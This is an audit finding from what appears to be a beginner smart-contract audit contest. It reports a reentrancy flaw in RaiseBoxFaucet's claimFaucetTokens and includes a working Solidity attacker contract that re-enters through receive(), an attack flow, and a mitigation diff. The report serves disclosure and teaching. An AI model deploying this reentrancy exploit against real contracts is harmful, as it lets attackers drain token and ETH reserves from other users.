Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in `RaiseBoxFaucet::claimFaucetTokens()` Leading to Multiple Unauthorized Claims


Reentrancy in RaiseBoxFaucet::claimFaucetTokens() Leading to Multiple Unauthorized Claims

Description

  • The claimFaucetTokens function in RaiseBoxFaucet.sol allows users to claim faucet tokens every 3 days and drips 0.005 Sepolia ETH to first-time claimers. It enforces a cooldown period, daily claim limits, and a daily Sepolia ETH cap to regulate token and ETH distribution.

  • A reentrancy vulnerability exists because the function makes an external call to transfer Sepolia ETH to the claimant before updating critical state variables (lastClaimTime, dailyClaimCount, and _balances). A malicious contract acting as the claimant can re-enter the function during the ETH transfer, bypassing cooldown and limit checks, and claim additional tokens or ETH multiple times within a single transaction.

function claimFaucetTokens() public {
// Checks
faucetClaimer = msg.sender;
.
.
.
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
// @> Vulnerable external call
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
// @> End vulnerable section
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
// @> State updates after external call
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
// @> End state updates
emit Claimed(msg.sender, faucetDrip);
}

Risk

Likelihood: HIGH

  • A malicious contract deployed as the faucetClaimer executes arbitrary code in its receive or fallback function during the ETH transfer, re-entering claimFaucetTokens.

  • The contract is permissionless, allowing any address (including malicious contracts) to call claimFaucetTokens, increasing the attack surface.

Impact: HIGH

  • Attackers can claim multiple batches of faucet tokens (up to the contract’s token balance), draining the faucet’s token reserves.

  • Attackers can exceed the daily Sepolia ETH cap, potentially exhausting the contract’s ETH balance and disrupting its ability to drip ETH to legitimate users.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
interface IRaiseBoxFaucet {
function claimFaucetTokens() external;
}
contract ReentrancyAttacker {
IRaiseBoxFaucet public faucet;
uint256 public attackCount;
uint256 public constant MAX_ATTACKS = 5;
constructor(address _faucet) {
faucet = IRaiseBoxFaucet(_faucet);
}
receive() external payable {
if (attackCount < MAX_ATTACKS) {
attackCount++;
faucet.claimFaucetTokens(); // Re-enter the faucet contract
}
}
function attack() external {
attackCount = 0;
faucet.claimFaucetTokens(); // Initiate the attack
}
}

Attack Flow:

  1. Deploy ReentrancyAttacker with the RaiseBoxFaucet address.

  2. Call attack(), which triggers claimFaucetTokens.

  3. During the ETH transfer, the receive function re-enters claimFaucetTokens up to MAX_ATTACKS times.

  4. Each reentrant call passes the checks (since lastClaimTime and dailyClaimCount are not updated) and claims additional tokens/ETH.

  5. The attacker could claim faucetDrip * MAX_ATTACKS tokens and multiple ETH drips, assuming sufficient contract balances.

Recommended Mitigation

+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
// ... other code ...
- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {
// Checks
// ... other code ...
+ // Effects (move state updates before external call)
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
+ _transfer(address(this), faucetClaimer, faucetDrip);
// Drip Sepolia ETH to first-time claimers
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
+ // Line below now safe due to ReentrancyGuard and prior state updates
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
- _transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}

Explanation:

  • Add ReentrancyGuard from OpenZeppelin and apply the nonReentrant modifier to prevent reentrant calls.

  • Move state updates (lastClaimTime, dailyClaimCount, _transfer) before the external ETH transfer to adhere to strict Checks-Effects-Interactions.

These changes ensure that the contract’s state is fully updated before any external call, eliminating the reentrancy window.

Updates

Lead Judging Commences

inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!